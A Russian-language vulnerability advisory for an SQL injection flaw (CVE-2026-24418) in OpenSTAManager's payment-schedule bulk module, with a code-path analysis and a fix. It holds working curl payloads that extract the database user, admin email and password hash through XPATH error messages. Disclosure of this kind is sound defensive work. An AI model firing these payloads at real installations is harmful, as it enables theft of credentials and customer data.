
CVE-2026-24418 - OpenSTAManager имеет уязвимость SQL-инъекции в модуле массовых операций Scadenzario
| Поле | Детали |
|---|
| CVE ID | CVE-2026-24418 |
| Серьёзность | Высокая |
| Уведомление | Просмотреть уведомление |
| Обнаружил | Lukasz Rybak |
Критическая уязвимость Error-Based SQL-инъекции в модуле массовых операций Scadenzario (график платежей) OpenSTAManager v2.9.8 позволяет аутентифицированным злоумышленникам извлекать полное содержимое базы данных, включая учётные данные пользователей, персональные данные клиентов и финансовые записи, через XML-сообщения об ошибках.
Статус: ✅ Подтверждено и протестировано на реальном экземпляре (v2.9.8)
Уязвимый параметр: id_records[] (POST-массив)
Затронутая конечная точка: /actions.php?id_module=18 (модуль Scadenzario)
Тип атаки: Error-Based SQL Injection (предложение IN)
OpenSTAManager v2.9.8 содержит критическую уязвимость Error-Based SQL-инъекции в обработчике массовых операций модуля Scadenzario (график платежей). Приложение не проверяет, являются ли элементы массива id_records целыми числами, перед использованием их в предложении SQL IN(), что позволяет злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные через сообщения об ошибках XPATH.
Цепочка уязвимости:
Точка входа: /actions.php (строки 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
Функция array_clean() удаляет только пустые значения — она НЕ проверяет типы.
Уязвимая функция: /lib/util.php (строки 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Воздействие: Функция отфильтровывает пустые значения, но принимает любые непустые значения, включая полезные нагрузки SQL-инъекций.
Точка SQL-инъекции: /modules/scadenzario/bulk.php (строка 88) ОСНОВНАЯ УЯЗВИМОСТЬ
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Воздействие: Элементы массива $id_records напрямую конкатенируются с помощью implode() без проверки типов или prepare(), что позволяет выполнить полную SQL-инъекцию.
Анализ корневых причин:
Уязвимость существует, потому что:
post('id_records') возвращает управляемый пользователем массивarray_clean() удаляет только пустые значения, а не нецелочисленныеimplode(',', $id_records) конкатенирует элементы массива напрямую в SQL-запросid_records[]=1&id_records[]=(MALICIOUS SQL)#Затронутый путь кода:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
Шаг 1: Вход в систему
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Шаг 2: Проверка уязвимости (Error-Based SQL Injection)
Тест 1: Извлечение пользователя и версии базы данных
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Ответ (сообщение об ошибке, видимое злоумышленнику):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Тест 2: Извлечение учётных данных администратора
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Ответ:
<code>XPATH syntax error: '~admin:[email protected]'</code>
Тест 3: Извлечение хеша пароля (часть 1 — первые 31 символ)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Ответ:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Тест 4: Извлечение хеша пароля (часть 2 — символы 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Ответ:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Объединённый хеш пароля:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Все аутентифицированные пользователи, имеющие доступ к массовым операциям модуля Scadenzario (график платежей).
Рекомендуемое исправление:
Основное исправление — проверка типов:
Файл: /modules/scadenzario/bulk.php
ДО (уязвимый код — строка 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
ПОСЛЕ (исправлено):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Обнаружил: Łukasz Rybak
Этот CVE был раскрыт ответственно в соответствии с практиками скоординированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.